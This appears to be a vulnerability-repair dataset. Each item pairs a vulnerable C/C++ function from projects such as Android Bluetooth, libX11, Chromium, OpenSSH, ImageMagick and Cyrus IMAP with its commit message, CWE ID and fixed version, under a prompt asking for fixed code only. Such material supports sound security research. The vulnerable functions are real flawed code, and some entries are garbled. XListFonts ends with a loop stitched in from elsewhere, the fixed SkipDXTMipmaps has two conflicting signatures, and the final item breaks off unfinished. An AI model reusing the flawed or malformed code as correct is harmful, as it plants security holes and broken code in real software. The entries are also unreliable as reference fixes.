Code: static int process_cmd_sock(int h) { sock_cmd_t cmd = {-1, 0, 0, 0, 0}; int fd = ts[h].cmd_fdr; if(recv(fd, &cmd, sizeof(cmd), MSG_WAITALL) != sizeof(cmd)) { APPL_TRACE_ERROR("recv cmd errno:%d", errno); return FALSE; } APPL_TRACE_DEBUG("cmd.id:%d", cmd.id); switch(cmd.id) { case CMD_ADD_FD: add_poll(h, cmd.fd, cmd.type, cmd.flags, cmd.user_id); break; case CMD_REMOVE_FD: for (int i = 1; i < MAX_POLL; ++i) { poll_slot_t *poll_slot = &ts[h].ps[i]; if (poll_slot->pfd.fd == cmd.fd) { remove_poll(h, poll_slot, poll_slot->flags); break; } } close(cmd.fd); break; case CMD_WAKEUP: break; case CMD_USER_PRIVATE: asrt(ts[h].cmd_callback); if(ts[h].cmd_callback) ts[h].cmd_callback(fd, cmd.type, cmd.flags, cmd.user_id); break; case CMD_EXIT: return FALSE; default: APPL_TRACE_DEBUG("unknown cmd: %d", cmd.id); break; } return TRUE; } Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process Bug: 28885210 Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360 Conflicts: btif/co/bta_hh_co.c btif/src/btif_core.c Merge conflict resolution of ag/1161415 (referencing ag/1164670) - Directly into mnc-mr2-release CWE ID: CWE-284
static int process_cmd_sock(int h) { sock_cmd_t cmd = {-1, 0, 0, 0, 0}; int fd = ts[h].cmd_fdr; if(TEMP_FAILURE_RETRY(recv(fd, &cmd, sizeof(cmd), MSG_WAITALL)) != sizeof(cmd)) { APPL_TRACE_ERROR("recv cmd errno:%d", errno); return FALSE; } APPL_TRACE_DEBUG("cmd.id:%d", cmd.id); switch(cmd.id) { case CMD_ADD_FD: add_poll(h, cmd.fd, cmd.type, cmd.flags, cmd.user_id); break; case CMD_REMOVE_FD: for (int i = 1; i < MAX_POLL; ++i) { poll_slot_t *poll_slot = &ts[h].ps[i]; if (poll_slot->pfd.fd == cmd.fd) { remove_poll(h, poll_slot, poll_slot->flags); break; } } close(cmd.fd); break; case CMD_WAKEUP: break; case CMD_USER_PRIVATE: asrt(ts[h].cmd_callback); if(ts[h].cmd_callback) ts[h].cmd_callback(fd, cmd.type, cmd.flags, cmd.user_id); break; case CMD_EXIT: return FALSE; default: APPL_TRACE_DEBUG("unknown cmd: %d", cmd.id); break; } return TRUE; }
173,465
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: XListFonts( register Display *dpy, _Xconst char *pattern, /* null-terminated */ int maxNames, int *actualCount) /* RETURN */ { register long nbytes; register unsigned i; register int length; char **flist = NULL; char *ch = NULL; char *chend; int count = 0; xListFontsReply rep; register xListFontsReq *req; unsigned long rlen = 0; LockDisplay(dpy); GetReq(ListFonts, req); req->maxNames = maxNames; nbytes = req->nbytes = pattern ? strlen (pattern) : 0; req->length += (nbytes + 3) >> 2; _XSend (dpy, pattern, nbytes); /* use _XSend instead of Data, since following _XReply will flush buffer */ if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) { *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } if (rep.nFonts) { flist = Xmalloc (rep.nFonts * sizeof(char *)); if (rep.length < (INT_MAX >> 2)) { rlen = rep.length << 2; ch = Xmalloc(rlen + 1); /* +1 to leave room for last null-terminator */ } if ((! flist) || (! ch)) { Xfree(flist); Xfree(ch); _XEatDataWords(dpy, rep.length); *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } _XReadPad (dpy, ch, rlen); /* * unpack into null terminated strings. */ chend = ch + (rlen + 1); length = *(unsigned char *)ch; *ch = 1; /* make sure it is non-zero for XFreeFontNames */ for (i = 0; i < rep.nFonts; i++) { if (ch + length < chend) { flist[i] = ch + 1; /* skip over length */ ch += length + 1; /* find next length ... */ length = *(unsigned char *)ch; *ch = '\0'; /* and replace with null-termination */ count++; } else flist[i] = NULL; } } *actualCount = count; for (names = list+1; *names; names++) Xfree (*names); } Commit Message: CWE ID: CWE-787
XListFonts( register Display *dpy, _Xconst char *pattern, /* null-terminated */ int maxNames, int *actualCount) /* RETURN */ { register long nbytes; register unsigned i; register int length; char **flist = NULL; char *ch = NULL; char *chend; int count = 0; xListFontsReply rep; register xListFontsReq *req; unsigned long rlen = 0; LockDisplay(dpy); GetReq(ListFonts, req); req->maxNames = maxNames; nbytes = req->nbytes = pattern ? strlen (pattern) : 0; req->length += (nbytes + 3) >> 2; _XSend (dpy, pattern, nbytes); /* use _XSend instead of Data, since following _XReply will flush buffer */ if (!_XReply (dpy, (xReply *)&rep, 0, xFalse)) { *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } if (rep.nFonts) { flist = Xmalloc (rep.nFonts * sizeof(char *)); if (rep.length > 0 && rep.length < (INT_MAX >> 2)) { rlen = rep.length << 2; ch = Xmalloc(rlen + 1); /* +1 to leave room for last null-terminator */ } if ((! flist) || (! ch)) { Xfree(flist); Xfree(ch); _XEatDataWords(dpy, rep.length); *actualCount = 0; UnlockDisplay(dpy); SyncHandle(); return (char **) NULL; } _XReadPad (dpy, ch, rlen); /* * unpack into null terminated strings. */ chend = ch + (rlen + 1); length = *(unsigned char *)ch; *ch = 1; /* make sure it is non-zero for XFreeFontNames */ for (i = 0; i < rep.nFonts; i++) { if (ch + length < chend) { flist[i] = ch + 1; /* skip over length */ ch += length + 1; /* find next length ... */ if (ch <= chend) { length = *(unsigned char *)ch; *ch = '\0'; /* and replace with null-termination */ count++; } else { Xfree(flist); flist = NULL; count = 0; break; } } else { Xfree(flist); flist = NULL; count = 0; break; } } } *actualCount = count; for (names = list+1; *names; names++) Xfree (*names); }
164,923
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: QuotaTask::QuotaTask(QuotaTaskObserver* observer) : observer_(observer), original_task_runner_(base::MessageLoopProxy::current()) { } Commit Message: Quota double-delete fix BUG=142310 Review URL: https://chromiumcodereview.appspot.com/10832407 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@152532 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
QuotaTask::QuotaTask(QuotaTaskObserver* observer) : observer_(observer), original_task_runner_(base::MessageLoopProxy::current()), delete_scheduled_(false) { }
170,804
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void Encoder::Flush() { const vpx_codec_err_t res = vpx_codec_encode(&encoder_, NULL, 0, 0, 0, deadline_); ASSERT_EQ(VPX_CODEC_OK, res) << EncoderError(); } Commit Message: Merge Conflict Fix CL to lmp-mr1-release for ag/849478 DO NOT MERGE - libvpx: Pull from upstream Current HEAD: 7105df53d7dc13d5e575bc8df714ec8d1da36b06 BUG=23452792 Change-Id: Ic78176fc369e0bacc71d423e0e2e6075d004aaec CWE ID: CWE-119
void Encoder::Flush() { const vpx_codec_err_t res = vpx_codec_encode(&encoder_, NULL, 0, 0, 0, deadline_); if (!encoder_.priv) ASSERT_EQ(VPX_CODEC_ERROR, res) << EncoderError(); else ASSERT_EQ(VPX_CODEC_OK, res) << EncoderError(); }
174,537
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: sshkey_load_file(int fd, struct sshbuf *blob) { u_char buf[1024]; size_t len; struct stat st; int r; if (fstat(fd, &st) < 0) return SSH_ERR_SYSTEM_ERROR; if ((st.st_mode & (S_IFSOCK|S_IFCHR|S_IFIFO)) == 0 && st.st_size > MAX_KEY_FILE_SIZE) return SSH_ERR_INVALID_FORMAT; for (;;) { if ((len = atomicio(read, fd, buf, sizeof(buf))) == 0) { if (errno == EPIPE) break; r = SSH_ERR_SYSTEM_ERROR; goto out; } if ((r = sshbuf_put(blob, buf, len)) != 0) goto out; if (sshbuf_len(blob) > MAX_KEY_FILE_SIZE) { r = SSH_ERR_INVALID_FORMAT; goto out; } } if ((st.st_mode & (S_IFSOCK|S_IFCHR|S_IFIFO)) == 0 && st.st_size != (off_t)sshbuf_len(blob)) { r = SSH_ERR_FILE_CHANGED; goto out; } r = 0; out: explicit_bzero(buf, sizeof(buf)); if (r != 0) sshbuf_reset(blob); return r; } Commit Message: use sshbuf_allocate() to pre-allocate the buffer used for loading keys. This avoids implicit realloc inside the buffer code, which might theoretically leave fragments of the key on the heap. This doesn't appear to happen in practice for normal sized keys, but was observed for novelty oversize ones. Pointed out by Jann Horn of Project Zero; ok markus@ CWE ID: CWE-320
sshkey_load_file(int fd, struct sshbuf *blob) { u_char buf[1024]; size_t len; struct stat st; int r, dontmax = 0; if (fstat(fd, &st) < 0) return SSH_ERR_SYSTEM_ERROR; if ((st.st_mode & (S_IFSOCK|S_IFCHR|S_IFIFO)) == 0 && st.st_size > MAX_KEY_FILE_SIZE) return SSH_ERR_INVALID_FORMAT; /* * Pre-allocate the buffer used for the key contents and clamp its * maximum size. This ensures that key contents are never leaked via * implicit realloc() in the sshbuf code. */ if ((st.st_mode & S_IFREG) == 0 || st.st_size <= 0) { st.st_size = 64*1024; /* 64k should be enough for anyone :) */ dontmax = 1; } if ((r = sshbuf_allocate(blob, st.st_size)) != 0 || (dontmax && (r = sshbuf_set_max_size(blob, st.st_size)) != 0)) return r; for (;;) { if ((len = atomicio(read, fd, buf, sizeof(buf))) == 0) { if (errno == EPIPE) break; r = SSH_ERR_SYSTEM_ERROR; goto out; } if ((r = sshbuf_put(blob, buf, len)) != 0) goto out; if (sshbuf_len(blob) > MAX_KEY_FILE_SIZE) { r = SSH_ERR_INVALID_FORMAT; goto out; } } if ((st.st_mode & (S_IFSOCK|S_IFCHR|S_IFIFO)) == 0 && st.st_size != (off_t)sshbuf_len(blob)) { r = SSH_ERR_FILE_CHANGED; goto out; } r = 0; out: explicit_bzero(buf, sizeof(buf)); if (r != 0) sshbuf_reset(blob); return r; }
168,660
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size) { register ssize_t i; MagickOffsetType offset; size_t h, w; /* Only skip mipmaps for textures and cube maps */ if (dds_info->ddscaps1 & DDSCAPS_MIPMAP && (dds_info->ddscaps1 & DDSCAPS_TEXTURE || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP)) { w = DIV2(dds_info->width); h = DIV2(dds_info->height); /* Mipmapcount includes the main image, so start from one */ for (i = 1; (i < (ssize_t) dds_info->mipmapcount) && w && h; i++) { offset = (MagickOffsetType) ((w + 3) / 4) * ((h + 3) / 4) * texel_size; (void) SeekBlob(image, offset, SEEK_CUR); w = DIV2(w); h = DIV2(h); } } } Commit Message: Added extra EOF check and some minor refactoring. CWE ID: CWE-20
static void SkipDXTMipmaps(Image *image, DDSInfo *dds_info, int texel_size) static MagickBooleanType SkipDXTMipmaps(Image *image,DDSInfo *dds_info, int texel_size,ExceptionInfo *exception) { register ssize_t i; MagickOffsetType offset; size_t h, w; /* Only skip mipmaps for textures and cube maps */ if (dds_info->ddscaps1 & DDSCAPS_MIPMAP && (dds_info->ddscaps1 & DDSCAPS_TEXTURE || dds_info->ddscaps2 & DDSCAPS2_CUBEMAP)) { if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); return(MagickFalse); } w = DIV2(dds_info->width); h = DIV2(dds_info->height); /* Mipmapcount includes the main image, so start from one */ for (i = 1; (i < (ssize_t) dds_info->mipmapcount) && w && h; i++) { offset = (MagickOffsetType) ((w + 3) / 4) * ((h + 3) / 4) * texel_size; (void) SeekBlob(image, offset, SEEK_CUR); w = DIV2(w); h = DIV2(h); } } return(MagickTrue); }
168,904
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void cmdloop(void) { int c; int usinguid, havepartition, havenamespace, recursive; static struct buf tag, cmd, arg1, arg2, arg3; char *p, shut[MAX_MAILBOX_PATH+1], cmdname[100]; const char *err; const char * commandmintimer; double commandmintimerd = 0.0; struct sync_reserve_list *reserve_list = sync_reserve_list_create(SYNC_MESSAGE_LIST_HASH_SIZE); struct applepushserviceargs applepushserviceargs; prot_printf(imapd_out, "* OK [CAPABILITY "); capa_response(CAPA_PREAUTH); prot_printf(imapd_out, "]"); if (config_serverinfo) prot_printf(imapd_out, " %s", config_servername); if (config_serverinfo == IMAP_ENUM_SERVERINFO_ON) { prot_printf(imapd_out, " Cyrus IMAP %s", cyrus_version()); } prot_printf(imapd_out, " server ready\r\n"); /* clear cancelled flag if present before the next command */ cmd_cancelled(); motd_file(); /* Get command timer logging paramater. This string * is a time in seconds. Any command that takes >= * this time to execute is logged */ commandmintimer = config_getstring(IMAPOPT_COMMANDMINTIMER); cmdtime_settimer(commandmintimer ? 1 : 0); if (commandmintimer) { commandmintimerd = atof(commandmintimer); } for (;;) { /* Release any held index */ index_release(imapd_index); /* Flush any buffered output */ prot_flush(imapd_out); if (backend_current) prot_flush(backend_current->out); /* command no longer running */ proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), NULL); /* Check for shutdown file */ if ( !imapd_userisadmin && imapd_userid && (shutdown_file(shut, sizeof(shut)) || userdeny(imapd_userid, config_ident, shut, sizeof(shut)))) { for (p = shut; *p == '['; p++); /* can't have [ be first char */ prot_printf(imapd_out, "* BYE [ALERT] %s\r\n", p); telemetry_rusage(imapd_userid); shut_down(0); } signals_poll(); if (!proxy_check_input(protin, imapd_in, imapd_out, backend_current ? backend_current->in : NULL, NULL, 0)) { /* No input from client */ continue; } /* Parse tag */ c = getword(imapd_in, &tag); if (c == EOF) { if ((err = prot_error(imapd_in))!=NULL && strcmp(err, PROT_EOF_STRING)) { syslog(LOG_WARNING, "%s, closing connection", err); prot_printf(imapd_out, "* BYE %s\r\n", err); } goto done; } if (c != ' ' || !imparse_isatom(tag.s) || (tag.s[0] == '*' && !tag.s[1])) { prot_printf(imapd_out, "* BAD Invalid tag\r\n"); eatline(imapd_in, c); continue; } /* Parse command name */ c = getword(imapd_in, &cmd); if (!cmd.s[0]) { prot_printf(imapd_out, "%s BAD Null command\r\n", tag.s); eatline(imapd_in, c); continue; } lcase(cmd.s); xstrncpy(cmdname, cmd.s, 99); cmd.s[0] = toupper((unsigned char) cmd.s[0]); if (config_getswitch(IMAPOPT_CHATTY)) syslog(LOG_NOTICE, "command: %s %s", tag.s, cmd.s); proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), cmd.s); /* if we need to force a kick, do so */ if (referral_kick) { kick_mupdate(); referral_kick = 0; } if (plaintextloginalert) { prot_printf(imapd_out, "* OK [ALERT] %s\r\n", plaintextloginalert); plaintextloginalert = NULL; } /* Only Authenticate/Enable/Login/Logout/Noop/Capability/Id/Starttls allowed when not logged in */ if (!imapd_userid && !strchr("AELNCIS", cmd.s[0])) goto nologin; /* Start command timer */ cmdtime_starttimer(); /* note that about half the commands (the common ones that don't hit the mailboxes file) now close the mailboxes file just in case it was open. */ switch (cmd.s[0]) { case 'A': if (!strcmp(cmd.s, "Authenticate")) { int haveinitresp = 0; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (!imparse_isatom(arg1.s)) { prot_printf(imapd_out, "%s BAD Invalid authenticate mechanism\r\n", tag.s); eatline(imapd_in, c); continue; } if (c == ' ') { haveinitresp = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (imapd_userid) { prot_printf(imapd_out, "%s BAD Already authenticated\r\n", tag.s); continue; } cmd_authenticate(tag.s, arg1.s, haveinitresp ? arg2.s : NULL); snmp_increment(AUTHENTICATE_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Append")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, NULL); snmp_increment(APPEND_COUNT, 1); } else goto badcmd; break; case 'C': if (!strcmp(cmd.s, "Capability")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_capability(tag.s); snmp_increment(CAPABILITY_COUNT, 1); } else if (!imapd_userid) goto nologin; #ifdef HAVE_ZLIB else if (!strcmp(cmd.s, "Compress")) { if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_compress(tag.s, arg1.s); snmp_increment(COMPRESS_COUNT, 1); } #endif /* HAVE_ZLIB */ else if (!strcmp(cmd.s, "Check")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); snmp_increment(CHECK_COUNT, 1); } else if (!strcmp(cmd.s, "Copy")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; copy: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/0); snmp_increment(COPY_COUNT, 1); } else if (!strcmp(cmd.s, "Create")) { struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 0); dlist_free(&extargs); snmp_increment(CREATE_COUNT, 1); } else if (!strcmp(cmd.s, "Close")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(CLOSE_COUNT, 1); } else goto badcmd; break; case 'D': if (!strcmp(cmd.s, "Delete")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 0, 0); snmp_increment(DELETE_COUNT, 1); } else if (!strcmp(cmd.s, "Deleteacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, NULL); snmp_increment(DELETEACL_COUNT, 1); } else if (!strcmp(cmd.s, "Dump")) { int uid_start = 0; if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { c = getastring(imapd_in, imapd_out, &arg2); if(!imparse_isnumber(arg2.s)) goto extraargs; uid_start = atoi(arg2.s); } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_dump(tag.s, arg1.s, uid_start); /* snmp_increment(DUMP_COUNT, 1);*/ } else goto badcmd; break; case 'E': if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Enable")) { if (c != ' ') goto missingargs; cmd_enable(tag.s); } else if (!strcmp(cmd.s, "Expunge")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, 0); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(cmd.s, "Examine")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(EXAMINE_COUNT, 1); } else goto badcmd; break; case 'F': if (!strcmp(cmd.s, "Fetch")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; fetch: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_fetch(tag.s, arg1.s, usinguid); snmp_increment(FETCH_COUNT, 1); } else goto badcmd; break; case 'G': if (!strcmp(cmd.s, "Getacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getacl(tag.s, arg1.s); snmp_increment(GETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Getannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_getannotation(tag.s, arg1.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getmetadata")) { if (c != ' ') goto missingargs; cmd_getmetadata(tag.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquota(tag.s, arg1.s); snmp_increment(GETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Getquotaroot")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquotaroot(tag.s, arg1.s); snmp_increment(GETQUOTAROOT_COUNT, 1); } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Genurlauth")) { if (c != ' ') goto missingargs; cmd_genurlauth(tag.s); /* snmp_increment(GENURLAUTH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'I': if (!strcmp(cmd.s, "Id")) { if (c != ' ') goto missingargs; cmd_id(tag.s); snmp_increment(ID_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Idle") && idle_enabled()) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_idle(tag.s); snmp_increment(IDLE_COUNT, 1); } else goto badcmd; break; case 'L': if (!strcmp(cmd.s, "Login")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c != ' ') goto missingargs; cmd_login(tag.s, arg1.s); snmp_increment(LOGIN_COUNT, 1); } else if (!strcmp(cmd.s, "Logout")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; snmp_increment(LOGOUT_COUNT, 1); /* force any responses from our selected backend */ if (backend_current) imapd_check(NULL, 0); prot_printf(imapd_out, "* BYE %s\r\n", error_message(IMAP_BYE_LOGOUT)); prot_printf(imapd_out, "%s OK %s\r\n", tag.s, error_message(IMAP_OK_COMPLETED)); if (imapd_userid && *imapd_userid) { telemetry_rusage(imapd_userid); } goto done; } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "List")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ret = LIST_RET_CHILDREN; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Lsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_SUBSCRIBED; if (!strcasecmpsafe(imapd_magicplus, "+dav")) listargs.sel |= LIST_SEL_DAV; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); snmp_increment(LSUB_COUNT, 1); } else if (!strcmp(cmd.s, "Listrights")) { c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_listrights(tag.s, arg1.s, arg2.s); snmp_increment(LISTRIGHTS_COUNT, 1); } else if (!strcmp(cmd.s, "Localappend")) { /* create a local-only mailbox */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, *arg2.s ? arg2.s : NULL); snmp_increment(APPEND_COUNT, 1); } else if (!strcmp(cmd.s, "Localcreate")) { /* create a local-only mailbox */ struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 1); dlist_free(&extargs); /* xxxx snmp_increment(CREATE_COUNT, 1); */ } else if (!strcmp(cmd.s, "Localdelete")) { /* delete a mailbox locally only */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 1, 1); /* xxxx snmp_increment(DELETE_COUNT, 1); */ } else goto badcmd; break; case 'M': if (!strcmp(cmd.s, "Myrights")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_myrights(tag.s, arg1.s); /* xxxx snmp_increment(MYRIGHTS_COUNT, 1); */ } else if (!strcmp(cmd.s, "Mupdatepush")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == EOF) goto missingargs; if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_mupdatepush(tag.s, arg1.s); /* xxxx snmp_increment(MUPDATEPUSH_COUNT, 1); */ } else if (!strcmp(cmd.s, "Move")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; move: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/1); snmp_increment(COPY_COUNT, 1); } else goto badcmd; break; case 'N': if (!strcmp(cmd.s, "Noop")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); /* xxxx snmp_increment(NOOP_COUNT, 1); */ } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Namespace")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_namespace(tag.s); /* xxxx snmp_increment(NAMESPACE_COUNT, 1); */ } else goto badcmd; break; case 'R': if (!strcmp(cmd.s, "Rename")) { havepartition = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == ' ') { havepartition = 1; c = getword(imapd_in, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_rename(tag.s, arg1.s, arg2.s, havepartition ? arg3.s : 0); /* xxxx snmp_increment(RENAME_COUNT, 1); */ } else if(!strcmp(cmd.s, "Reconstruct")) { recursive = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { /* Optional RECURSEIVE argument */ c = getword(imapd_in, &arg2); if(!imparse_isatom(arg2.s)) goto extraargs; else if(!strcasecmp(arg2.s, "RECURSIVE")) recursive = 1; else goto extraargs; } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_reconstruct(tag.s, arg1.s, recursive); /* snmp_increment(RECONSTRUCT_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlist")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.sel = LIST_SEL_REMOTE; listargs.ret = LIST_RET_CHILDREN; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); /* snmp_increment(LIST_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_REMOTE | LIST_SEL_SUBSCRIBED; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); 